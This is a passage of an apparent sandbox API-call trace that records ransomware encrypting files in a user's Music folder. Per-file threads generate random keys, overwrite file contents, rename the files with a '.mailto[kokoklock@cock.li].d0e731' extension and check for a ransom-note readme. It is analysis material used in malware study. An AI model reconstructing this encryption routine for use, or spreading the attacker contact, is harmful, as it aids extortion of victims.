(HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053ee8 [0173.105] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30132d8) returned 1 [0173.106] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053da8) returned 1 [0173.106] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0173.106] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.106] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x185ff840, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x185ff840*=0x4096, lpOverlapped=0x0) returned 1 [0173.106] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.106] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87080 [0173.106] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013440 [0173.106] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053cb8 [0173.106] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053cb8) returned 1 [0173.106] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0173.107] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fd8 [0173.107] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.107] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.107] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0173.107] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87080) returned 1 [0173.107] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x185ff840, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x185ff840*=0x4096, lpOverlapped=0x0) returned 1 [0173.107] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0173.107] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x1261b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.107] WriteFile (in: hFile=0x5d4, lpBuffer=0x3053fd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x185ff878, lpOverlapped=0x0 | out: lpBuffer=0x3053fd8*, lpNumberOfBytesWritten=0x185ff878*=0x20, lpOverlapped=0x0) returned 1 [0173.108] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fd8) returned 1 [0173.108] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0173.108] WriteFile (in: hFile=0x5d4, lpBuffer=0x3053ee8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x185ff88c, lpOverlapped=0x0 | out: lpBuffer=0x3053ee8*, lpNumberOfBytesWritten=0x185ff88c*=0x8, lpOverlapped=0x0) returned 1 [0173.108] WriteFile (in: hFile=0x5d4, lpBuffer=0x185ff8a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x185ff88c, lpOverlapped=0x0 | out: lpBuffer=0x185ff8a4*, lpNumberOfBytesWritten=0x185ff88c*=0x4, lpOverlapped=0x0) returned 1 [0173.108] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x185ff88c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x185ff88c*=0x4, lpOverlapped=0x0) returned 1 [0173.108] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x185ff88c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x185ff88c*=0x6c, lpOverlapped=0x0) returned 1 [0173.109] WriteFile (in: hFile=0x5d4, lpBuffer=0x3053c68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x185ff88c, lpOverlapped=0x0 | out: lpBuffer=0x3053c68*, lpNumberOfBytesWritten=0x185ff88c*=0x20, lpOverlapped=0x0) returned 1 [0173.109] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x185ff88c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x185ff88c*=0x4, lpOverlapped=0x0) returned 1 [0173.109] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053c68) returned 1 [0173.109] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053df8) returned 1 [0173.109] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053ee8) returned 1 [0173.109] CloseHandle (hObject=0x5d4) returned 1 [0173.109] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd2) returned 0x2f97598 [0173.109] wcscpy (in: _Dest=0x2f97598, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav.mailto[kokoklock@cock.li].d0e731" [0173.109] wcscat (in: _Dest=0x2f97598, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0173.109] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\fdt4_bm.wav.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\fdt4_bm.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0173.110] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.110] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97598) returned 1 [0173.110] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\FdT4_bM.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.110] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f95d60 [0173.110] wcscpy (in: _Dest=0x2f95d60, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0173.110] wcscat (in: _Dest=0x2f95d60, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" [0173.110] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\d0e731-readme.txt")) returned 0x20 [0173.110] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95d60) returned 1 [0173.110] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcf5f8) returned 1 [0173.111] RtlExitUserThread (Status=0x1) Thread: id = 2093 os_tid = 0x119c [0173.112] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\l4mvu2o2nsy.wav.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.113] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.113] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\l4mvu2o2nsy.wav.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0173.113] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x1867fa28 | out: lpFileSize=0x1867fa28*=49794) returned 1 [0173.114] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0xc27e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.114] ReadFile (in: hFile=0x5d4, lpBuffer=0x1867f9fc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1867f9f8, lpOverlapped=0x0 | out: lpBuffer=0x1867f9fc*, lpNumberOfBytesRead=0x1867f9f8*=0x4, lpOverlapped=0x0) returned 1 [0173.114] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.114] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053da8 [0173.115] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053c68 [0173.115] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053c40 [0173.115] NtQuerySystemTime (in: CurrentTime=0x1867f9d4 | out: CurrentTime=0x1867f9d4*=132121213304358097) returned 0x0 [0173.115] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x2ffeb72a [0173.115] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x1782aeb5 [0173.115] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x3c34b599 [0173.115] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x3334f2df [0173.115] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0xb40087f4 [0173.115] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x45cd348f [0173.115] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0xd5959306 [0173.115] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x1c74510c [0173.115] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x56aba2d3 [0173.115] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x9e381b61 [0173.115] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0xbd008ff8 [0173.115] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0xe0b77b58 [0173.115] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x67633b4 [0173.115] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x23f565e6 [0173.115] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x5418273 [0173.115] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x6b0436ac [0173.115] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x43acec27 [0173.115] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x5bf7876b [0173.116] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x6c7758bf [0173.116] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x27c3634d [0173.116] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x8ad4f5c7 [0173.116] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x6c8e4488 [0173.116] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x88826701 [0173.116] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x7976a79a [0173.116] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0xe4538595 [0173.116] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x314affc5 [0173.116] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x1a615213 [0173.116] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0xe901e77a [0173.116] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x9d054bb7 [0173.116] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x714376b6 [0173.116] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0xf3542e04 [0173.116] RtlRandom (in: Seed=0x1867f9e0 | out: Seed=0x1867f9e0) returned 0x6dbcaa0b [0173.125] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053df8 [0173.127] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30132d8 [0173.127] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053ee8 [0173.127] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30132d8) returned 1 [0173.127] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053da8) returned 1 [0173.127] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0173.127] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.127] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1867f9ac, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x1867f9ac*=0x4096, lpOverlapped=0x0) returned 1 [0173.127] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.127] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87080 [0173.127] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013440 [0173.127] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053cb8 [0173.127] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053cb8) returned 1 [0173.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0173.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fd8 [0173.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.128] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.128] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0173.128] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87080) returned 1 [0173.128] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1867f9ac, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x1867f9ac*=0x4096, lpOverlapped=0x0) returned 1 [0173.128] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0173.128] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0xc282, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.129] WriteFile (in: hFile=0x5d4, lpBuffer=0x3053fd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1867f9e4, lpOverlapped=0x0 | out: lpBuffer=0x3053fd8*, lpNumberOfBytesWritten=0x1867f9e4*=0x20, lpOverlapped=0x0) returned 1 [0173.129] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fd8) returned 1 [0173.129] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0173.129] WriteFile (in: hFile=0x5d4, lpBuffer=0x3053ee8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1867f9f8, lpOverlapped=0x0 | out: lpBuffer=0x3053ee8*, lpNumberOfBytesWritten=0x1867f9f8*=0x8, lpOverlapped=0x0) returned 1 [0173.129] WriteFile (in: hFile=0x5d4, lpBuffer=0x1867fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1867f9f8, lpOverlapped=0x0 | out: lpBuffer=0x1867fa10*, lpNumberOfBytesWritten=0x1867f9f8*=0x4, lpOverlapped=0x0) returned 1 [0173.129] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1867f9f8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1867f9f8*=0x4, lpOverlapped=0x0) returned 1 [0173.130] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1867f9f8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1867f9f8*=0x6c, lpOverlapped=0x0) returned 1 [0173.130] WriteFile (in: hFile=0x5d4, lpBuffer=0x3053c68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1867f9f8, lpOverlapped=0x0 | out: lpBuffer=0x3053c68*, lpNumberOfBytesWritten=0x1867f9f8*=0x20, lpOverlapped=0x0) returned 1 [0173.130] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1867f9f8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1867f9f8*=0x4, lpOverlapped=0x0) returned 1 [0173.130] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053c68) returned 1 [0173.130] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053df8) returned 1 [0173.130] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053ee8) returned 1 [0173.130] CloseHandle (hObject=0x5d4) returned 1 [0173.130] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xda) returned 0x2f984f0 [0173.130] wcscpy (in: _Dest=0x2f984f0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav.mailto[kokoklock@cock.li].d0e731" [0173.130] wcscat (in: _Dest=0x2f984f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0173.130] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\l4mvu2o2nsy.wav.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\l4mvu2o2nsy.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0173.131] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.131] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f984f0) returned 1 [0173.131] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.131] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f95678 [0173.131] wcscpy (in: _Dest=0x2f95678, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0173.131] wcscat (in: _Dest=0x2f95678, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" [0173.131] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\d0e731-readme.txt")) returned 0x20 [0173.132] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95678) returned 1 [0173.132] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2c78) returned 1 [0173.132] RtlExitUserThread (Status=0x1) Thread: id = 2094 os_tid = 0x11a0 [0173.133] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\oimdyv2chnopoq8fjjk.mp3.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.133] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.133] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\oimdyv2chnopoq8fjjk.mp3.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0173.133] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x186ff990 | out: lpFileSize=0x186ff990*=20251) returned 1 [0173.134] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x4f17, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.134] ReadFile (in: hFile=0x5d4, lpBuffer=0x186ff964, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x186ff960, lpOverlapped=0x0 | out: lpBuffer=0x186ff964*, lpNumberOfBytesRead=0x186ff960*=0x4, lpOverlapped=0x0) returned 1 [0173.135] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.135] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053da8 [0173.135] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053c68 [0173.135] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053cb8 [0173.135] NtQuerySystemTime (in: CurrentTime=0x186ff93c | out: CurrentTime=0x186ff93c*=132121213304514566) returned 0x0 [0173.135] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0xd07bec75 [0173.135] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0x501bc108 [0173.135] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0xd1378ae8 [0173.135] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0x8fe47a57 [0173.135] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0xaa2deaff [0173.135] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0xfc99db90 [0173.135] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0x72a8215d [0173.135] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0x13fca68a [0173.135] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0x8c5cdbf7 [0173.135] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0x901f5cea [0173.135] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0xbd94a3fb [0173.135] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0x836d017d [0173.135] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0xb6c2d69 [0173.135] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0x537f1655 [0173.135] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0x7b30888d [0173.135] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0x6c747796 [0173.135] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0xac4537e5 [0173.135] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0x702b556d [0173.135] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0xefb094ba [0173.135] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0x7e8c4b76 [0173.135] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0x1fdfdd8d [0173.136] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0x251db9ec [0173.136] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0xcb6b4cdc [0173.136] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0x8a7eec9e [0173.136] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0x242372ca [0173.136] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0x2e6e5659 [0173.136] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0xeacd806b [0173.136] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0x2aa2604a [0173.136] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0x40d18207 [0173.136] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0xd9c1c23 [0173.136] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0xd073154a [0173.136] RtlRandom (in: Seed=0x186ff948 | out: Seed=0x186ff948) returned 0x4eb4b21a [0173.145] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053df8 [0173.148] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30132d8 [0173.148] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) 